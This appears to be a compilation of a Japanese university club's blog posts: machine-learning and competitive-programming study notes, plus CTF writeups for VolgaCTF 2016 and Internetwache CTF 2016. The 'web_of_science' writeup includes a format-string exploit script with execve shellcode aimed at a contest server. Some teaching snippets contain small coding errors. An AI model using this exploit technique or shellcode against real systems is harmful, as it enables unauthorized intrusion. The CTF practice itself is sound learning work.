機械学習分科会、第八章の四,グラフィカルモデルによる推論

要約

木DPをすればよいです。

以下では、各変数(ノード)はK種類の離散状態をとるものとし、ノード(変数)はN個あるものとします。
あと、以下のコードは、pythonっぽい疑似コードもどきです。

ある変数xが状態aを取る確率p(x=a)を求める

モデルが一本鎖のとき

#p(xk=a)の値を求める
#p(x1,x2, ... ,xN) = phi[1,2](x1,x2) * phi[2,3](x2,x3) ... phi[N-1,N](xN-1,xN)
ans = 0
for x1 in xrange(0,K):
  ....
    for xk-1 in xrange(0,K):
      for xk+1 in xrange(0,K):
        ....
          for xN in xrange(0,K):
            ans += phi[1,2](x1,x2) * phi[2,3](x2,x3) ... phi[N-1,N](xN-1,xN)

ですが、なんやかんやすると、

arpha = 0
for x1 in xrange(0,K):
  ....
    for xk-1 in xrange(0,K):
      arpha += phi[1,2](x1,x2) * ... * phi[k-1,k](xk-1,xk=a)

beta = 0
for xk+1 in xrange(0,K):
  ....
    for xN in xrange(0,K):
      beta = phi[k,k+1](xk=a,xk+1) * ... * phi[N-1,N](xN-1,xN)

ans += arpha * beta

となって、さらにdpして、

for x0 in xrange(0,K):
	arpha[0][x0] = 1
for i in xrange(1,k+1):
	for xi in xrange(0,K):
		arpha[i][xi] = 0
		for xi-1 in xrange(0,K):
			arpha[i][xi] += arpha[i-1][xi-1] * phi[i-1,i](xi-1,xi)

for xN+1 in xrange(0,K):
	beta[N+1][xN+1] = 1
for i in xrange(k,N).reverse:
	for xi in xrange(0,K):
		beta[i][xi] = 0
		for xi+1 in xrange(0,K):
			beta[i][xi] += beta[i+1][xi+1] * phi[i,i+1](xi,xi+1)

ans = arpha[k][xk=a] * beta[k][xk=a]

となる。

モデルが木のとき

黒頂点(■)と白頂点(○)についてのdpみたいにすればいけます。
確率を求めたいノードを根にしてやって木を吊るします。
で、各白頂点は、子の黒頂点を、各黒頂点は、子の白頂点を持ってるものとします。
このとき、疑似コードはこんな感じ。

def root(x=a):
	res = 1
	for to in rootnode:
		 res *= kuro(no=to,state=a)
	return res

def kuro(no,state):
	#no番目の黒ノードの親白ノードが状態stateを取るときの、no番目の黒ノードを根とする部分木の確率の総和
	res = 0
	tos = kuro[no]
	ls = len(tos)
	for t1 in xrange(0,K):
		... 
			for tls in xrange(0,K):
				res = kuro_function[no](state,t1,t2, ... tls) * siro(no=tos[1],state=t1) *  ... * siro(no=tos[ls],state=tls)

def siro(state,no):
	#no番目の白ノードが状態stateを取るときの、no番目の白ノードを根とする部分木の確率の総和
	res = 1
	for to in rootnode:
		 res *= kuro(no=to,state=state)
	return res

def leafsiro(state,no):
	return 1


def leafkuro(state,no):
	return kuro_function[no]()

で、計算量ですが、メモ化なりなんなりすると、状態はK*Nパターンしか起こらないので、あとは遷移に掛かる時間に寄りますね。
具体的には、たくさん(dこ)子を持つ黒ノードがあった時に、K^dかかってしまうわけです。
で、因子グラフが木構造をもとにしてできていれば、dがたかだか2で抑えられて幸せという寸法。
(逆に、全結合みたいなやつだと、d=NとなってK^Nかかるのでえらいことになる)

最大の確率をとる変数ベクトル(x1,...,xN)とその時の確率p(x1,...,xN)を求める(max-sumというやつ)

これは、dp->経路復元みたいなのをしてやればよい。

モデルが一本鎖のとき

問題は、
『最大の確率 p(x1,...,xN) を求めよ』となり、
『最大の確率 phi[1,2](x1,x2) * ... * phi[N-1,N](xN-1,xN) を求めよ』となり、logは単調増加なので、logとってもよく、
『最大の log(phi[1,2](x1,x2)) + ... + log(phi[N-1,N](xN-1,xN)) を求めよ』となる。
で、各log(phi[a,a+1](b,c)) を、【頂点 a[b] から頂点 a+1[c] 間の辺の重み】みたいにみると、
『頂点1から頂点Nまでの経路のうち、重み最大のものの重みと、それを与える経路を求めよ』
みたいな感じになります。
で、これはもうdpしてからの経路復元で解けますね。

モデルが木のとき

同様のアナロジーをすると、
『木の各頂点に適切な状態を割り振ることにより、木全体の辺の重みを最大化しろ』
となります。
で、これは、
kuro[x][s] .. 頂点xが状態sを取るときのxからの部分木の辺の重み和の最大値
みたいなdpをすれば、解けますね。

機械学習分科会、第六章、カーネル法、前編。

おわび

ガウス過程のところの話が分からなかったのでその手前までです。ベイズファンのみなさんすみません。

以下、6.40のとこのコードです。なんか適当にいじって遊んだってください。

#coding:utf-8

import random
import math

import numpy as np
print "inported"
import matplotlib.pyplot as plt

print "inported"

def getdata(pn,sgm):
	res = []
	for i in xrange(pn):
		x = random.uniform(0,10)
		t = math.sin(x) + random.gauss(0,sgm)
		x += random.gauss(0,sgm)
		res.append((x,t))
	return res

def toplts(x):
	a,b = [],[]
	for p in x:
		a.append(p[0])
		b.append(p[1])
	return (a,b)


pi = 3.1415926535897932384626433

def norm(m,x,sgm):
	return math.exp(-((x-m)**2)/(2*sgm*sgm)) / (math.sqrt(2*pi)*sgm)

'''
plt.clf()
X = np.linspace(-2, 2, 256, endpoint=True)
plt.plot(X, map(lambda x: norm(0,x,0.5),X))
plt.show()
'''


def nadaraya_6_40(dat,ix,sgm):
	def myu(gzi):
		return norm(0,gzi,sgm)
	
	myuz = map(lambda p: (myu(ix-p[0]),p[1]),dat)
	
	s = 0.0
	res = 0.0
	for (v,t) in myuz:
		res += v * t
		s += v
	res /= s
	
	return res




sgm = 0.3
pn = 50

plt.clf()

#ideal
X = np.linspace(0, 10, 256, endpoint=True)
plt.plot(X, np.sin(X))

#data
dat = getdata(pn,sgm)
xs,ys = toplts(dat)
plt.plot(xs,ys, 'o')

#predict
pres = map(lambda x: nadaraya_6_40(dat,x,sgm),X)
plt.plot(X, pres)


plt.show()



第Ⅲ回プロコン分科会(木、グラフについてその1)

森、木、グラフ、有向無向、頂点、辺、重み、(非)連結、(入|出)次数、隣接、パス、閉路、多重辺、自己辺、橋、関節点、根、親、子、DAG、なもり木、とか用語についての解説はその場でします。(図を書くのがめんどい)

Online Programming Lesson

(グラフの場合は、ある程度問題文を見ればわかるので適当にARCとかを漁ってみて)

グラフの扱い方とかアルゴリズムとかについておおざっぱに

以降、Vは頂点数、Eは辺の数を表します。

グラフの持ち方

A_iとB_iが重みC_iの辺で繋がってるとき、

A_1 B_1 C_1 
A_2 B_2 C_2
...

みたいに入ってくるとする。

隣接行列
int graph[205][205];
rep(i,E){
  int a,b,c;
  scanf("%d%d%d",&a,&b,&c);
  graph[a][b] = c;
  graph[a][b] = c;
}

楽に書ける、ワーシャルフロイド法とかはこれを使う。
Vが10^5くらいになるとメモリが死ぬので使えない。

隣接リスト
vector<pair<int,int> > graph[205];
rep(i,E){
  int a,b,c;
  scanf("%d%d%d",&a,&b,&c);
  graph[a].push_back(make_pair(a,c));
  graph[b].push_back(make_pair(b,c));
}
typedef long long int lli;
typedef pair<lli,lli> mp;
vector<mp> vs[100005];
rep(i,E){
  lli a,b,c;
  scanf("%lld%lld%lld",&a,&b,&c);
  vs[a].push_back(mp(b,c));
  vs[b].push_back(mp(a,c));
}

こちらの方が一般的。速い。メモリが軽い。

最短経路問題

ダイクストラ

1つの頂点からの他の全頂点に対する最短経路が求まる。
全辺の重みが負でない時に使える。
一番早い。O(ElogV)。密なグラフ(E≈V^2)のときは、O(V^2)のアルゴリズムを使った方がよい。

priority_queue<int,vector<int>,greater<int> > que;
ベルマンフォード法

1つの頂点からの他の全頂点に対する最短経路が求まる。
負の重みの辺があっても使える。負閉路検出ができる。
O(EV)。そこそこ高速。

ワーシャルフロイド法

全ての頂点からの他の全頂点に対する最短経路が求まる。
負の重みの辺があっても使える。負閉路検出ができる。
O(V^3)で重さはそれなり。
実装がめちゃ軽いので楽に最短路を求めたいときにオススメ。

rep(k,V)
  rep(i,V)
    rep(j,V)
      if(d[i][k] + d[k][j] < d[i][j]) d[i][j] = d[i][k] + d[k][j];

最小全域木問題

クラスカル

Union Find木を使えば実装がめちゃ楽。

プリム法

使ったためしがない...

その他

GDraw (グラフの可視化ができる)

第弐回プロコン分科会(動的計画法(DP)のはなし)

その前に

マラソンマッチが今朝方から始まりましたね。
TopCoder

その他(競プロのこつシリーズ)

テンプレート(repとか)を作ろう
メモリを多めにとったり番兵を活用したりしてコードを書きやすくする
人のコードを見ると発見があってよい

動的計画法その前に

まず、大前提ですが、普通の全探索(やるだけ)は書けますよね???(僕が書けるとは言っていない)
(全探索だと計算量がえらいことになる→動的計画法、という流れなので、まずは全探索で問題がちゃんと解けるようになりましょう)


とりあえずこちらをご覧ください

フィボナッチ数列の第n項を返す関数fib(n)をつくる

単純な全探索
int fib(int n){
  if(n<=1)return 1;
  else return fib(n-1)+fib(n-2);
}
//これだと、だいたいO(1.6^n)かかる。つらい。
メモ化再帰
int memo[100005]={};
int fib(int n){
  if(memo[n]>0)return memo[n];
  //各nに対して、これ以降が呼び出されるのはたかだか一回
  if(n<=1)memo[n]=1;
  else memo[n]=fib(n-1)+fib(n-2);
  return memo[n];
}

動的計画法

int dp[100005];
void init(){
  dp[0]=dp[1]=1;
  for(int i=2;i<100000;i++){
    dp[i]=dp[i-1]+dp[i-2];
  }
}
int fib(int n){
  return dp[n];
}

各々の利点として、
メモ化再帰 .. 再帰を改変するだけなので初めての人には実装が楽
DP .. わりと高速。あと、最長増加部分列のO(logn)解法は配列でないとダメ
ですかね。

なぜdpでうまくいくか

よくある事例

ナップサック問題

Q.

0-1 Knapsack Problem | Aizu Online Judge
N個の商品があり、各々に重さC_iとうれしさA_iが決まっている。N個のうちから重さの合計がK以下になるように商品を選んだ時の嬉しさの総和の最大値を求めよ。

最長増加部分列問題

Q.

最長増加部分列 | 動的計画法 | Aizu Online Judge
長さnの数列A_1...A_nが与えられるので、単調増加な最長の部分列(連続でなくてもよい)を求める

解き方

で、DPの問題は漸化式を作れれば解けます。
例) dp[i] = max{dp[k]+1 | k < a[i] }
とか。
dp配列の定義をしっかりしておかないと、デバッグのときに苦しむことになります。(dp[i][j]には何が入るべきなのか)
あと、添え字とか初期化の値とかには要注意。
たいてい、デバッグは配列を吐き出して行うイメージ。

Q.

漸化式が思いつけないんですが

A.

僕も漸化式の状態では思いつけません...(数学が強い人は数式をいじって解いたりしている)
簡単に埋められて答えの得られるようなうまい配列を思いつく、みたいな感じでやってます。

Q.

そもそもDPの問題だと見抜けないんですが...

A.

経験値でがんばって見抜いてください...
(もっとよい判断方法があるのかもしれないけど僕にはわからない...)

よくある事例

ナップサック問題

蟻本が優秀なのでそれ読んで。

A.

値段が同じになるような商品の取りかたなら、そのうち嬉しさ度が最大のものだけ覚えておけばよい、という性質を利用する。
または、
嬉しさ度が同じになるような商品の取りかたなら、そのうち値段が最小のものだけ覚えておけばよい、という性質を利用する。

最長増加部分列

蟻本を読んでくださいと言った感じ(口頭でするかも)

A

増加しているかどうかは、最後の数字さえ憶えておけば判定できる、という性質を利用する。
与えられた数列をa[0],a[1]...とします。

dp[i] .. 数列のi番目の数字が最後に来るような部分列の最長の長さ、とすると、
dp[i] = min{ dp[k]+1 | a[k] < a[i] }
これだと、コードは

for(int i=0;i<n;i++){
  dp[i]=1;
  for(int k=0;k<i;i++){
    if(a[k]<a[i])dp[i]=max(dp[i],dp[k]+1);
  }
}
printf("%d\n",dp[n-1]);

となって、O(n^2). n=10^5とかだとつらい。

dp[i][p] .. 数列のi番目の数字までを用いた時、数字pが最後に来るような部分列の最長の長さ、とすると、
dp[i][p] = a[i]==p ? min{ dp[i-1][k]+1 | k < a[i] } : dp[i-1][p]
なんやかんやで、

fill(dp,dp+n,inf);
for(int i=0;i<n;i++){
  dp[a[i]] = max{ dp[k] | k < a[i]} + 1
}

で、これだと、普通はO(n^2)になるが、
maxを取るときにSegtreeとかを使うと、maxを取る操作がO(logn)になるので、n=10^5とかでもいける。
(メモ化再帰でするとセグ木との相性がよくないかな)

ビットDP

dp[105][2][2][2][2][2][2][2][2][2][2]; みたいな配列が生えるとやばそうなのでbitで状態管理しましょうねという話。

木DP

グラフのときに触れるかも
(というか、グラフの最短経路を求めるアルゴリズムはたいていDPっぽい)

区間DP

Q.

力持ち | Aizu Online Judge
これとか。
dp[i][j] = max{ dp[i][k] * dp[k][j] + a[k] | i

桁DP

確率DP

確率漸化式はもろDPですね、という話。
注意する点として、たとえば、
dp[i] = sum{ dp[k] * r^(i-k) | 1 <= k < i}
みたいのが立ったとすると、

dp[1] = 1;
for(int i=2;i<n;i++){
  dp[i] = 0;
  double nr = r;
  for(int k=i-1;k>=1;k--){
    dp[i] += dp[k] * nr;
    nr *= r;
  }
}

みたいなのになって、これだとO(n^2)だが、答えの誤差が1e-6未満とかだと、nrが小さいのは無視してかまわなくなり、計算量が落ちる、みたいなのがあります。

数え上げDP

ほかにもいろいろなDPがあるよ!!!
(最近だと、monge性とかいうのを用いたmongeDPとかいうのがあるらしい)

第一回プロコン分科会

プロコンとは

プログラミング力を競うコンテストのこと。TopCoder部のカレンダー - TopCoder部とかに予定が載っていたりする。
たいてい、インターネットや本を大会中にばんばん使用してもよい。

競技プログラミング

アルゴリズム力を競う。正しく、ある程度高速に動くプログラムを短い思考時間で書くことが目的。1回のコンテストはだいたい2時間弱。
AtCoder (アットコーダー)
yukicoder
About – topcoder
Codeforces
Google Code Jam
ICPC16
AIZU ONLINE JUDGE: Programming Challenge
Welcome To PKU JudgeOnline

マラソン

アルゴリズム力を競う。1つの問題に対して、できるだけ高い得点を得られるようなプログラムを書く。一回のコンテストはだいたい1週間以上。
TopCoder
ICFP Programming Contest 2015
CODE RUNNER
CODE VS -ゲームを攻略する「最強のAI」作成-
プログラミングコンテスト | ハル研究所

機械学習的なの

マラソンに比べて機械学習の力がいる感じ。あと儲かるらしい。
Competitions | Kaggle

code golf

できるかぎり短いコードでプログラムを書く。
anarchy golf
TLE · Felicity · IIIT-Hyderabad

超絶技巧

神秘的なプログラムを書いた人が勝ち。
The International Obfuscated C Code Contest
trick2015/README.ja.md at master · tric/trick2015 · GitHub

この分科会では*****まで扱います。

競技プログラミングの効用

勉強か?趣味か?人生か?―プログラミングコンテストとは これを読んでください。

競技プログラミングについて自習する

蟻本、チーター本、螺旋本とか。あと、図書館に『アルゴリズムイントロダクション』がある。

その他インターネット

各種writeupやアルゴリズムの解説がインターネット上にある。
ICPC Challenge | 実践的プログラミング (全学自由研究ゼミナール)
月曜6限の授業。資料がとてもよい。この資料を読んだ方がこの分科会より有益なのでは...
「最強最速アルゴリズマー養成講座」最新記事一覧 - ITmedia Keywords これとか
番兵,いもす法,信濃川理論,データ構造をマージする一般的なテク,平衡二分探索木とか

*

最初のうちは、自習しようとしても「アルゴリズムが分からないので問題が解けない」<->「問題が解けないのでアルゴリズムを学べない」になってつらいので、ちょっと考えて分からなかったら解説を読む、みたいなスタイルがよいらしい。(問題は星の数ほどある)

競技プログラミングの言語

たいていのまともな言語は使えるはず。主にC/C++,Java,C#。(ruby,pythonとかも使えるが計算量を知ってる必要がある)


volgactf-qual-2016のwriteupのwriteupとか

先日あった,volgactf-qual-2016に参加したのでそのwriteupです。

解けたの

REV::broken

elfファイルが与えられるので解析する問題。
複数スレッドを立ち上げていて、ふつうに実行すると、30秒ほどして "The processing has taken too long, terminating the process..." と表示されて終わってしまう。
いろいろ見ていくと、中でセマフォ(鉄道の通票みたいな仕組み)を使ってスレッド制御をしていることがわかる。
よく読んでみるとおおまかに

th3(){ 0x400f40
	sem_init(0x603500,0,0);
	sem_init(0x6034e0,0,0);
	sem_init(0x6034c0,0,0); //セマフォの作成
	
	create_thread(f1);
	create_thread(f2);
	
	wait(34c0); //セマフォが解放されるまで待って、取っていく
	wait(34c0);
	
	なんやかや();
	post(3500); //セマフォを増やす
	post(34e0);

	wait(34c0);
	wait(34c0);
	
	なにがしか();
	post(3500);
	post(34e0);
	
}

f1(){ 0x400ed0
	for(;;){
		post(34c0);
		wait(3500);
		dosomething()
	}
}

f2(){ 0x4012c0
	for(;;){
		post(34c0);
		wait(3500);
		dosomething2()
	}
}

みたいなことをしているのがわかる。

はい、デッドロックに陥りますね。
おそらく、f1とf2が歩調を合わせて実行されることを想定して書かれているのだけれど、3500と34e00のセマフォがpostされているのに、どっちも3500のセマフォをwaitしているので3500のセマフォが足らなくなっている。

で、f1とf2のどちらかが34e00のセマフォをwaitするように修正してやればいいのだが、バイナリエディタでいじって実行するとなんでかプログラムが起動しなくなってしまう。(チェックサムかなにかに引っかかった?)

ので、gdb.executeとかで実行時にがりがり書き換えて実行してやる、とflagが出てくる。pythonは神。

import sys

gdb.execute('b *0x400b20')
gdb.execute('r')
gdb.execute('b *0x400f16')
gdb.execute('c')

for i in range(1,100):
	gdb.execute('set $edi=0x6034e0')
	gdb.execute('c')

#VolgaCTF{avoid_de@dl0cks_they_br3ak_your_@pp}

PPC::tic-tac-toe

三目並べを向こうのAIと2000戦して勝てというもの。
向こうのAIがわりと雑なので、こちらも雑なAIの実装で十分。(天元に対して辺に打ってはいけない、とかそういうとこまでしなくてよい)

import socket
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('tic-tac-toe.2016.volgactf.ru', 45679))

def get():
	s = sock.recv(1024)
	print "GETSTR:" 
	print s
	return s

def send(s):
	print "SEND: '" + s + "'"
	sock.send(s + "\n")
	time.sleep(0.01)

sor = [[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8],[0,4,8],[2,4,6]]

def retbes(dat):
	ns,ng=0,0
	for c in dat:
		if c=='X':
			ns += 1
		else:
			ng += 1
	if ns==ng:
		nc = 'X'
	else:
		nc = 'O'
	
	bes = (-2,-2)
	
	for p in sor:
		c = dat[p[0]]
		if c==' ':
			continue
		ok = 1
		for j in p:
			if dat[j]!=c:
				ok = 0
		if ok==1:
			print 'finished'
			return -2
		#print p,

	for i in xrange(9):
		if dat[i]!=' ':
			continue
		ne = 0
		td = dat[:i] + [nc] + dat[i+1:]
		
		nb = (-1,i)
		for p in sor:
			ok = 1
			for j in p:
				if td[j]!=nc:
					ok = 0
			if ok==1:
				return i
		
		for p in sor:
			ms = 0
			ts = 0
			for j in p:
				if td[j]!=' ':
					if td[j]==nc:
						ms += 1
					else:
						ts += 1
			if j==i and ms==1 and ts==2:
				nb = (0,i)
		
		if bes<nb:
			bes = nb
		#print td
		#return i
	print 'nbes .. ',bes
	return bes[1]

def getres(s):
	while 1:
		ts = s[-10:][:5]
		if len(ts)>=5:
			if ts[0]=='|' and ts[4]=='|':
				break
		if(len(s)<=0):
			print 'sleep'
			time.sleep(1)
		s = get()
	s = s[-61:]
	v = [1,5,9,25,29,33,49,53,57]
	dat = map(lambda i: s[i],v)
	print dat
	return retbes(dat)

print 'connecting'
get()
send('abeegegeg')
get()
while 1:
	r = getres(get())
	if r!=-2:
		send(str(r))


#VolgaCTF{tic_t@c_t0e_is_the_e@rly_step_t0wards_AI}

PPC::amaze

迷路と現在地が与えられるので自分を脱出させる問題。
[[0] * w] * h みたいに二次元配列を作ってはならない、のトラップにはまってしまって辛かった。pythonはダメ。

import socket
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('amazing.2016.volgactf.ru', 45678))

def get():
	s = sock.recv(16384)
	print "GETSTR:" 
	print s
	return s

def send(s):
	print "SEND: '" + s + "'"
	sock.send(s + "\n")
	time.sleep(2)


def getmap():
	i = 0
	ts = []
	rn = 0
	while 1:
		s = get().split("\n")
		for p in s:
			if len(p)==0:
				rn += 1
			else:
				rn = 0
			if len(p)>120:
				i = 1
				ts.append(p)
			else:
				if i==1:
					return ts
		if rn>=50:
			raise 'nmaybe i failed'

dd = [(2,0),(0,4),(-2,0),(0,-4)]
cs = ['d','r','u','l']

def gett((y,x),i):
	return (y + dd[i][0],x + dd[i][1])

def cango((m,h,w),(y,x),d):
	#print 'Q .. ',(y,x),d
	(ty ,tx) = gett((y,x),d)
	if ty<0 or ty>=h or tx<0 or tx>=w:
		return False
	if m[ty][tx]=='#':
		return True
	if m[(y+ty)/2][(x+tx)/2]!=' ':
		return False
	return True

def dfs(b,gone,(y,x)):
	if b[0][y][x]=='#':
		return ''
	if y+2==b[1] and x+3==b[2]:
		return 'r'
	#print gone
	if gone[y][x]:
		return None
	#print 'no..' , (y,x)
	gone[y][x]=1
	for i in xrange(4):
		if not cango(b,(y,x),i):
			continue
		t = gett((y,x),i)
		s = dfs(b,gone,t)
		if s != None:
			return cs[i] + s
	return None

def outgone(g,h,w):
	for y in xrange(h):
		s = ""
		for x in xrange(w):
			c = '##'
			if g[y][x]==1:
				c = '..'
			s += c
		print s
	
def resd(m):
	h = len(m)
	w = len(m[0])
	#gone = [[0] * w] * h python trap
	gone = [[0 for i in range(w)] for j in range(h)]
	
	
	for y in xrange(h):
		for x in xrange(w):
			if m[y][x]=='*':
				sy,sx = y,x
				
	'''
	print gone
	print sy
	print sx
	print gone
	exit(-1)
	'''
	print 'start',(sy,sx)
	gone[sy][sx]=1
	for i in xrange(4):
		if not cango((m,h,w),(sy,sx),i):
			continue
		t = gett((sy,sx),i)
		print 'tes ..',t
		s = dfs((m,h,w),gone,t)
		if s != None:
			s = cs[i] + s
			print 'ok .. ',s
			return s
	
	outgone(gone,h,w)


print 'connecting'
while 1:
	c = resd(getmap())
	send(c)

#VolgaCTF{eurisco!}

だいぶやったけど解けなかったの

PWN::web_of_science

論文登録サイトみたいなのが向こうで動いているのでそれをexploitするもの。

%sとかを打ち込んで試してみると、書式指定子攻撃ができると分かる。
(getsで入力しているのでバッファオーバーフローもあるのだが、カナリアがいるので今回はこちらの脆弱性は使えない)
で、何回でも書式指定子攻撃ができるのでスタックのアドレスをleakさせることができる。
あと、NXとかの対策がないのでスタック上のシェルコードも実行することができる。
よって、『スタックのアドレスをリーク』->『スタック上にシェルコードを仕込む』->『適当な関数での戻りアドレスをシェルコード上に移す』

とすれば解ける...はずだったのだけれど、なんでか手元ではうまく動くのに向こうではうまく動いていないっぽい。なんでや。(pwn系の問題のデバッグの仕方が分からないのでだれか教えてください...)

import socket
import time


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('webofscience.2016.volgactf.ru', 45678))
#sock.connect(('localhost', 8421))

def get(p=0.5):
	time.sleep(p)
	s = sock.recv(1024)
	print "GETSTR:" , s
	return s

def send(s):
	print "SEND:",s
	sock.send(s + "\n")

get(0.5)
send('a')
v = []
for i in xrange(10):
	while True:
		s = get(0.1)
		ps = s.split("\n")
		tps = []
		for p in ps:
			if p=='' or p[0:3]=='Alr':
				continue	
			tps.append(p)
		v += tps
		if len(v)>=2:
			break
	print v
	p = v[-2].split(' ')
	v = v[2:]
	a,b = int(p[0]),int(p[2])
	send(str(a + b))

get()
send('1')
get()
send('3')
get()

#leak stack

leak = ('%8$lx,')
send(leak)
get()
send('5')
#raw_input()
s = get()

s = s[40:52]

print s
shelp   = int(s,16) - 0x310
#staretp = int(s,16) + 0x8
staretp = int(s,16) - 0x488 #ints

#insert shellcode

print hex(shelp),hex(staretp)
def addtostr(add):
	res = ""
	for i in xrange(8):
		res += chr(add % 256)
		add /= 256
	return res

shc = ""
for i in xrange(8):
	shc += addtostr(staretp) 
	staretp += 1

#from momotech  http://inaz2.hatenablog.com/entry/2014/07/04/001851

shc += "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"

send('2')
get()
send(shc)
get()

#retadddr override

ove = ""
o2 = ""
nsp = shelp
sp = 0
for i in xrange(6):
	tp = nsp % 256
	nsp /= 256
	o2 += ('%' + str((tp-sp+0x100)%0x100) + 'c')
	sp = tp
	o2 += ('%' + str(i + 0x130/8 + 10) + '$hhn')

#o2 = ('0x%' + str(0 + 0x230 + 12) + '$x') + ('0x%' + str(1 + 0x230 + 12) + '$x')
ove += o2

print ove

send('3')
get()
send(ove)
get()
send('5') 
#raw_input()
get()
send('ls') 
send('pwd') 
get(3)
get(3)
get(3)
s = get(100)

宣伝

理論科学グループでは、CTFに関する技術を学ぶCTF分科会などもやっています。

Internetwache CTF 2016 の writeup

2/20~2/22にあったInternetwache CTF 2016にTSGの有志で参加した際に自分の関わった問題のWriteUp。

感想

わりと初心者向けらしく、全完したチームがたくさんあった。
たまにエスパー問が混じっていたのでそのあたりは辛かった。
(自分が関わったやつでは、crypto50,code80,code90,reversing80あたりがエスパー問ではないかと思う)

reversing50

なにかの逆アセンブル結果みたいなやつが与えられ、ググるとR3000の命令であることが分かる。読んでいくと、中ほどで

ans = ""
for i in xrange(len(flag)):
    ans += chr(ord(flag[i]) ^ i)

print ans

みたいにfor文が回っていることが分かるので、これより元のflagを推測する。
(XORなので、逆に変換結果を突っ込んでやれば変換前のflagが分かる)

reversing60

x64のELFファイルが与えられる。

とりあえず実行すると、

Fatal error: File does not exist

と出るので、ltraceをかまして実行すると、.password なるファイルがいることが分かる。

で、そのファイルを作った後gdbで実行しながら挙動をみると、

int i=0;
int ok = 0;
for(;;){
	char c = fgetc();
	ok |= subrutin(i,c);
}

みたいになってることが分かる。
多分subrutinが全部0を返せばよさそう。
で、subrutinは、

subrutin(int i,char c){
	スタックの一部(たぶん配列かなにか,datとしておく)に数を積む;
	char nc = dat[i];
	ncを用いてなにごとかしている;
}

みたいになってる。
さて、「ncを用いてなにごとかしている」ところを解析してもよいのだが、ここでいったんdat配列の中を書き出してみると、

dat[] = {ee,e0,bc,f1,ee,eb,f2,d8,f4,ef,d2,f4,ec,d6,ba};

みたいになってる。
ここで、flagの形式がIW{*********}となってることを思いつつ、
ee が I に、e0 が W に、 bc が { に、 ba が } に
対応しているかとあたりをつけて手元で適当にいじってみると、

ord(c) + ord(dat[i]) == 0x137

みたいになってる、
ので、後は変換してやれば

v = "ee,e0,bc,f1,ee,eb,f2,d8,f4,ef,d2,f4,ec,d6,ba"
v = map(lambda x: int(x,16),v.split(','))

ans =""
for c in v:
	ans += chr(int("137",16) - c)

print ans

で、flagが出てくる。

reversing70

ARMのELFファイルが与えられる。
QEMUでも入れて解析する必要があるかなー、とか思っていたが、IDAのdemo版でも逆アセンブルができるそうなので、IDAの方に投げてみる。

見ると、mainは

main(){
	char s* = malloc(0x65);  // s .. [esp - 0xc] 
	int i = 0; //i.. [esp-0x8]
	
	for(;;){
		if (i + 1 == [esp - 0x10]){
			free(s);
			return;
		}
		
		printf("Enter Solution for task%d\n",i);
		scanf("%s",s);
		handle_task(i,s);
		i++;
	}
}

みたいになってて、handle_task()は、

handle_task(int ii,char* is){
	int i = ii;
	char* s = is;

	switch(i){
	case 0:
		if()printf("IW{S.E\n");
		break;
	case 1:
		if()puts("WI{QA3}");
		else printf(".R.V.E\n");
		break;
	case 2:
		if()puts("R>=F:");
		else printf(".Q.D.Q!\n");
		break;
	case 3:
		if()printf("A:R:M}\n");
		break;
	}
}

みたいになってることがおおざっぱに分かる。頑張ってそれぞれのif文内を読むと正解が分かるはずだが、まあフラッグの形式等その他もろもろから判断して、適当にありえそうな文字列を試してみると、flagは

IW{S.E.R.V.E.R>=F:A:R:M}

であることが分かる。

reversing80

Hello world program in esoteric languages - Esolang

を眺めてみると、TapeBagelという言語であることが分かるので、言語仕様を調べて動かそうとしてみる、が、動かない。(プログラム例もHello Worldしか見つからなかったし、実装もインタプリタ1つしかないし、ヒントは意味が分からないし、エスパーするしかないですよね...)
四苦八苦しているとcookies氏が倒してくれた。

reversing90

問題ファイルより抜粋

Scrambling:
F' D' U' L' U' F2 B2 D2 F' U D2 B' U' B2 R2 D2 B' R' U B2 L U R' U' L'

White side:
-------
|I|3| |
| |D|R|
| | | |
-------

Orange side:
-------
|C| | |
| | | |
| | | |
-------

Yellow side:
-------
|{| | |
|3| | |
| | |}|
-------


Red side:
-------
| | | |
|W| | |
| | | |
-------

スクランブルの書き方からしてもルービックキューブですね。
おそらく、この通りに箱に文字を貼って回すとフラッグが出るのだろうけれども、
フラッグが IW{*****} の形式で、また角のキューブは角に、辺のキューブは辺にしかこないことから、
IW{3D3CR} , IW{3DRC3} , IW{RD3C3}
のどれかであることが分かるので、あとは全探索submitしてやればよい(雑)

exploit60

telnet接続すると、向こうでなにかプログラムが動いていて、

Solve the following equations:
X > 1337
X * 7 + 4 = 1337

と言われる。
まあそんな整数Xはないわけですが、
とりあえず適当にでかい数(2000000000とか)を打ち込んでやると、

2000000000
2000000000 is bigger than 1337
-4235423 is not equal to 1337

とか返ってくるわけです。(値は適当)
X*7+4がオーバーフローして負の数になってしまってることが推測できるので、
1337より大きくて、うまくオーバーフロー後の結果が1337になるような数を計算して送りつけてやると、フラッグが表示される。
(自分は613566947でやった)

crypto70

自作ハッシュ関数の実装と、ハッシュ化した後のパスワード(00006800007d)が与えられるので、認証を突破してください、という問題。
おそらく、内部ではハッシュ化後の値を持っていて、入力された文字列のハッシュ値と持ってる値が等しければOK,みたいな認証を行ってると推測できる。
当初は、ハッシュ関数の構造を解析すれば解けるかと思ったが思ったより面倒だったので深入りせず。
ソースコード中に

	t11 = t11 % 0xFF # Should be 0xFFFFFFFF, right?
	q2 = q2 % 0xFF # Same here... 0xFFFFFFFF

という部分があって、t11とq2を連結した結果がハッシュ値になるのだが、
これより実はハッシュ値がたかだか255^2パターンしかないことがわかる。
よって、弱衝突耐性がまったくなく、適当に探索していればハッシュ値が(00006800007d)になるような文字列を見つけることができる。
自分が見つけたのは(0xd49b00000000000000)

crypto90

銀行っぽいシステムが向こうで稼働していて、
create->completeの順で手続をすると、金が自分の口座に入金される。
預金が10^6以上になればflagが手に入るが、入金はたかだか20回しかできず、一回につき5000までしか入金できない、といった設定。


入金は、詳細には
create で入金金額mを決める,と、

def create(m):
	if m > 5000:
		return None
	t = os.urandom()
	myrand.init(t)
	s = "TRANSACTION: " + str(m)
	for i in xrange(len(s)):
		s[i] ^= myrand.get() % 256
	
	transactions.append(t)
	print s

みたいなことをして、その後、
completeで、

def complete(p,s):
	if(not len(s) in range(28, 35)):
		return None
